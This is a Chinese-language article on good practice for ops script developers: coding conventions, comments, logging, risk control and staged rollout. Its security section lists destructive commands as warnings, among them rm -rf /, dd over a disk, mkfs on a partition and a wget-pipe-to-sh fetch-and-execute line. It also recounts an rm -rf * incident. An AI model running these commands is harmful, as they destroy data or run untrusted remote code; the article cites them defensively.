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這篇“運維腳本工具的自我修養(yǎng)”，看完才知道有多香？

2024-09-04 09:06:57 Jinyu
在數(shù)字化運維時代的洪流中，腳本開發(fā)不僅僅是一項單純的技術活，更是一門融合了邏輯、創(chuàng)意與表達、風險與效率的藝術。

作為運維技術的靈魂舵手，卓越的腳本開發(fā)者猶如指揮大師，引領著計算機世界的交響樂章，既確保每個音符的精準無誤，又賦予其動人的旋律，保障系統(tǒng)如絲般順滑且堅如磐石地運行。
反之，若指揮失當，則可能成為運維樂章中的不和諧音，輕則擾動系統(tǒng)平穩(wěn)，重則引發(fā)連鎖反應，使運維體系陷入癱瘓危機。

本文旨在探討一名合格的腳本工具開發(fā)者應具備的基本素養(yǎng)，他不僅需要具備扎實的基本功，還需要業(yè)務與問題理解、風險控制、溝通協(xié)作等多個方面不斷修煉和提升自己，以適應日益復雜多變的技術環(huán)境和業(yè)務需求。

在我們了解腳本開發(fā)者要具備的核心能力之前，我們需要先明確腳本編寫的核心原則，總結起來有以下幾點：

  1. 能夠準確高效的實現(xiàn)我們要完成的某項業(yè)務或者是運維需求；

  2. 應當具備良好的可讀性，腳本邏輯簡單明了，不產(chǎn)生歧義；

  3. 具備充分的容錯性，即使在異常條件下也能控制風險，不產(chǎn)生次生災害。

基于上述原則，一個優(yōu)秀的腳本開發(fā)者應該從以下幾個方面不斷修煉，持續(xù)提升自我修養(yǎng)。

一、扎實的基本功：實現(xiàn)功能和控制風險的必備條件

堅實的技術根基是工具開發(fā)者不可或缺的基石。它不僅讓人深刻把握工具的核心機制、架構與功能，還極大地促進了操作的精準與高效，減少誤操作帶來的風險。強大的基本功更是問題解決的利器，面對挑戰(zhàn)時能迅速定位癥結，精準施策。

磨礪腳本工具基本功，是場馬拉松式的學習與實踐之旅。首要任務是廣泛涉獵多種腳本語言，并至少精通其一，深入理解其語法精髓、數(shù)據(jù)結構及高效算法。
隨后，通過階梯式練習，從基礎腳本起步，逐步向高階提升，將理論知識融入實戰(zhàn)，錘煉技能。在此過程中，定期自我審視與反饋至關重要。分析過往腳本的成敗得失，提煉經(jīng)驗教訓，不斷優(yōu)化代碼邏輯與效率，形成良性循環(huán)。

二、良好的編碼習慣：提供良好可讀性，有效控制風險

遵循常用的編碼規(guī)范對于提高代碼的可讀性、可維護性和團隊協(xié)作效率至關重要。清晰、一致的編碼風格使得其他開發(fā)者或使用者能夠輕松理解代碼的邏輯和功能，減少因對腳本不夠了解造成誤操作的可能。以下是一些應當注意的常用編碼規(guī)范：

1、命名規(guī)范：

  • 變量命名：使用有意義的命名，避免使用單字母或含糊不清的名稱。變量名應反映其用途或內(nèi)容，如 custName 而非 c。不同作用域的變量盡量不要使用相同的變量名。

  • 常量命名：全大寫字母，單詞之間用下劃線連接，如MAX_COUNT。

  • 腳本命名：使用動詞或動詞短語，清晰表達腳本的功能和作用。

2、縮進、格式與代碼風格：

1）保持一致的縮進風格，推薦使用空格（通常為2個或4個）而不是制表符（Tab）。使用適當?shù)目瞻仔蟹指暨壿媺K，增強代碼的可讀性。

2）同時一行的代碼不宜寫的過長，一般控制在80個字符之內(nèi)，字符太多也嚴重影響代碼可讀性，想象一下一行代碼要拖動水平滾動條三次才能讀完，是不是有一種發(fā)狂的感覺。

3）整個腳本的代碼行數(shù)不宜過多，盡量控制100行以內(nèi)，最多不超過200行；函數(shù)的代碼行數(shù)以20-30行為宜。

4）腳本的返回值要有明確含義，正常執(zhí)行完成返回值為0，其他不同的返回值代表不同含義，不要所有其他非正常返回值都為同一個非零值。

3、注釋與文檔：

在腳本的開頭、函數(shù)的開頭和關鍵代碼一定要加注釋。注釋就如同腳本世界中的燈塔，為開發(fā)者和后續(xù)的使用者照亮前行的道路；又如同代碼文學的旁白，為閱讀和理解腳本內(nèi)容提供了關鍵的線索。

一個秀的腳本開頭注釋的編寫樣例，明確腳本的 作者、開發(fā)日期、腳本功能、使用范圍、參數(shù)說明等。這樣的注釋能夠顯著提高代碼的可讀性，在代碼的維護和更新方面發(fā)揮關鍵作用。

隨著時間推移，業(yè)務需求可能會發(fā)生變化，腳本也需要相應進行修改和優(yōu)化。此時，注釋就成為了寶貴的參考資料。

它能夠幫助后續(xù)開發(fā)者快速了解代碼的歷史背景和設計思路，從而更有針對性地進行修改，避免對原有功能造成不必要的破壞，甚至出現(xiàn)致命BUG。

4、記錄運行日志，做好錯誤處理：

編寫腳本時，需要在腳本開始運行、結束運行以及一些關鍵點上充分記錄日志。日志的記錄格式一般包含：日志類型（error、warning、info）+時間戳+具體事件+關鍵參數(shù)值等。良好的日志記錄信息為后續(xù)的問題分析、故障定位發(fā)揮著至關重要的作用。
妥善處理潛在的錯誤和異常情況，通過命令執(zhí)行的返回值來有效捕獲并處理異常，避免程序崩潰或產(chǎn)生災難性的破壞。拋出清晰的錯誤消息，幫助用戶或開發(fā)者快速定位問題。

5、安全性和風險控制：

1）遵循最小權限原則：腳本的編寫在安全層面需要對輸入數(shù)據(jù)進行驗證和清理，防止SQL注入、跨站腳本（XSS）等安全漏洞。遵循最小權限原則，限制腳本的訪問權限，僅授予必要的資源訪問權限。
2）禁止使用高風險命令：關鍵步驟需要對該步驟執(zhí)行的條件進行重點檢查，如對上一條命令的返回值進行判定，禁止使用對高風險命令使用過大的通配符命令。

上述示例是一個非常糟糕的清理工具，基本的編碼格式規(guī)范沒有遵循，也沒有開發(fā)說明、使用說明等注釋。但更為致命的是，在工具中存在 rm 這樣極高危命令的情況下，工具沒有做任何高危命令執(zhí)行前檢查，還使用了 * 這種極高危通配符。

某天因磁盤容量告警，運維人員將7天前的日期目錄手動備份轉移后刪除，夜間自動執(zhí)行該清理腳本時，因目錄已被刪除，系統(tǒng)執(zhí)行 cd $HOME/clean_date/logs 失敗，工具未退出，在 $HOME 即生產(chǎn)用戶家目錄下執(zhí)行 rm -rf  *，造成了重大的生產(chǎn)事故。

以下是常見的6個高風險命令，請大家重點關注：

  • rm -rf：該命令用于強制刪除文件或目錄，不會詢問用戶確認。如果不小心指定了錯誤的路徑，如rm -rf /或rm -rf *，可能會導致系統(tǒng)崩潰或數(shù)據(jù)丟失。

  • mv 文件夾 /dev/null：該命令嘗試將文件夾移動到/dev/null，/dev/null是一個特殊的設備文件，向它寫入的數(shù)據(jù)都會被丟棄。雖然這個命令在大多數(shù)系統(tǒng)上不會成功移動文件夾，但可能會導致數(shù)據(jù)丟失或損壞。
  • dd if=/dev/zero of=文件/文件夾/磁盤路徑：這個命令會將整個文件/目錄/硬盤的內(nèi)容清零，導致所有數(shù)據(jù)丟失且難以恢復。
  • wget http://惡意源 -O- | sh：這個命令會從指定的URL下載腳本并執(zhí)行。如果URL指向惡意腳本，可能會導致系統(tǒng)被入侵或數(shù)據(jù)被竊取。

  • mkfs 系列命令：如mkfs.ext4 /dev/sda1，這些命令用于格式化硬盤分區(qū)。如果不小心指定了錯誤的分區(qū)，可能會導致分區(qū)上的所有數(shù)據(jù)丟失。

  • kill -9 1：這個命令嘗試殺死進程ID為1的進程，在大多數(shù)Linux系統(tǒng)中，進程ID為1的是init或systemd等系統(tǒng)關鍵進程。殺死這些進程可能會導致系統(tǒng)不穩(wěn)定或重啟。

3）關鍵點需要進行雙重驗證。如某個腳本中有一個關鍵步驟，必須確保停止服務A才能啟動服務B，否則可能引起重大事故。那么在這個腳本中執(zhí)行stop A服務后，除了必須使用status A檢查A服務是否處于stopped狀態(tài)外，還應當使用 ps -ef | grep A | grep -v grep 命令進行雙重驗證。

三、深入了解應用系統(tǒng)和問題

深入了解應用系統(tǒng)和問題對于腳本開發(fā)的重要性不言而喻。只有深入了解問題，才能明確腳本開發(fā)的目標和需求。清晰地知道要解決什么樣的具體問題，以及需要達到怎樣的效果，從而為腳本的設計和功能規(guī)劃提供準確的方向。在對系統(tǒng)和問題都很了解的情況下，工具開發(fā)者很容易就能找解決問題的切入點，明確腳本在整個系統(tǒng)中的定位和作用，從而制定出準確的開發(fā)目標和策略。

另外，只有對應用系統(tǒng)有足夠的了解，才能確保腳本在不影響其他功能的情況下解決目標問題，避免潛在的安全風險。

四、腳本工具執(zhí)行與推廣的風險控制意識

1、工具執(zhí)行中的風險控制

腳本工具在運維活動中有廣泛的應用，在享受其便利的功能同時，也必須承擔使用它的風險。
首先是誤操作風險。由于其強大的功能和復雜的操作，如果使用者對其不夠熟悉或操作不當，可能會對系統(tǒng)、數(shù)據(jù)或網(wǎng)絡造成不可逆轉的損害。因此，在工具編寫時應充分考慮如何提示使用者工具的使用場景、方法，使用參數(shù)以及使用工具的后果。在工具執(zhí)行前，工具本身和使用者之間的交互方法只有閱讀代碼和輸入?yún)?shù)兩種方式。以下是一個典型的示例：

圖片

2、工具推廣的風險控制

在數(shù)字化的運維時代，我們面對的運維對象成千上萬，而我們的腳本工具很可能需要在這些對象大規(guī)模運行，而然腳本工具本身BUG風險時刻存在，如何最大范圍降低運行風險是我們需要重點面對問題。
為降低風險，開發(fā)者采取如下策略：首先，腳本工具在測試環(huán)境充分測試，并且運行穩(wěn)定之后陸續(xù)推廣至生產(chǎn)環(huán)境；其次，在生產(chǎn)環(huán)境選取個別非重要系統(tǒng)，試點其一半服務器，穩(wěn)定運行一周后推廣至另一半，然后推廣至其他重要系統(tǒng)；第三，下發(fā)至重要系統(tǒng)一半服務器，運行一周后推廣到其他服務器。
總體原則就是，先開發(fā)測試后生產(chǎn)，先非重要系統(tǒng)后重要系統(tǒng)，先同類角色的一半服務器，后剩余其他服務器。

五、團隊協(xié)作與溝通

任何時候單槍匹馬解決問題都不可取，腳本工具開發(fā)亦是如此。團隊協(xié)作能做到知識與技能的互補。開發(fā)腳本工具往往需要涉及多種領域的知識和技能，如編程語言、算法、設計模式、用戶需求分析等。團隊成員各自具備不同的專長，通過協(xié)作能夠實現(xiàn)知識和技能的互補，從而更全面、高效地解決開發(fā)過程中遇到的各種問題。在腳本工具開發(fā)的各個階段，從需求分析、設計、編碼、測試到維護，團隊成員可以分工合作，同時進行不同的任務，從而縮短開發(fā)周期，提高整體效率。
另外最重要的一點，通過團隊成員之間的互相審查、測試，可以及時發(fā)現(xiàn)和糾正腳本工具中的錯誤和缺陷，提高代碼質(zhì)量和工具的穩(wěn)定性、可靠性，避免潛在風險。


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